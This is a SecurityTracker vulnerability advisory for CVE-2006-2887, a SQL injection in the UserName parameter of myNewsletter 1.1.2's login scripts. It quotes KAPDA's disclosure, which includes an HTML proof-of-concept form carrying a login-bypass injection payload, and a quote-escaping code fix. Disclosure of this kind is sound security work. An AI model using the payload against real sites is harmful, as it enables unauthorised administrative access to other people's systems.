myNewsletter Missing Input Validation in 'UserName' Parameter Permits SQL Injection Attacks
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SecurityTracker Alert ID: 1016229 |
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SecurityTracker URL: http://securitytracker.com/id/1016229
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CVE Reference:
CVE-2006-2887
(Links to External Site)
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Updated: May 22 2009
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Original Entry Date: Jun 6 2006
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Impact:
Disclosure of system information, Disclosure of user information, User access via network
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Exploit Included: Yes
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Version(s): 1.1.2
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Description:
A vulnerability was reported in myNewsletter. A remote user can inject SQL commands.
The 'validatelogin.asp' or 'adminlogin.asp' scripts do not properly validate user-supplied input in the 'UserName' parameter. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.
The vendor was notified on June 6, 2006.
The original advisory is available at:
http://www.kapda.ir/advisory-340.html
FarhadKey of KAPDA discovered this vulnerability.
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Impact:
A remote user can execute SQL commands on the underlying database.
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Solution:
No solution was available at the time of this entry.
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Vendor URL: www.aspburst.com/ (Links to External Site)
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Cause:
Input validation error
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Underlying OS: Windows (Any)
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Message History:
None.
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Source Message Contents
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Subject: [KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection
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[KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection
SQL_Injection
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KAPDA New advisory
Vulnerable products : myNewsletter <= 1.1.2
Vendor: http://www.aspburst.com/index.asp
Risk: Medium
Vulnerability: SQL_Injection
Date :
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Found : 2006/06/05
Vendor Contacted : 2006/06/06
Release Date : 2006/06/06
Discussion :
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At parameter named 'UserName' in "validatelogin.asp" or "adminlogin.asp", Attacker can enter SQL command to login to the system.
Proof of Concepts:
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<html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit
</center><form name="adminLogin" method="post" action="http://www.site.com/newsletter/adminLogin.asp">
<input type="hidden" name="UserName" value="<!--'union select 1 from Newsletter_Admin where ''='">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>
<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net -->
<center><a href="http://www.kapda.ir">www.kapda.ir</a></center>
</form>
</html>
Solution:
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Nothing yet by vendor .
Our solution :
in 'validatelogin.asp' :
function validateLogin(theUserName, thePassword)
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"
change to this :
function validateLogin(theUserName, thePassword)
theUserName = replace(theUserName,"'","''")
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"
Original Advisory:
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http://www.kapda.ir/advisory-340.html
Credit :
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FarhadKey of KAPDA
farhadkey [at} kapda {d0t} net
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir
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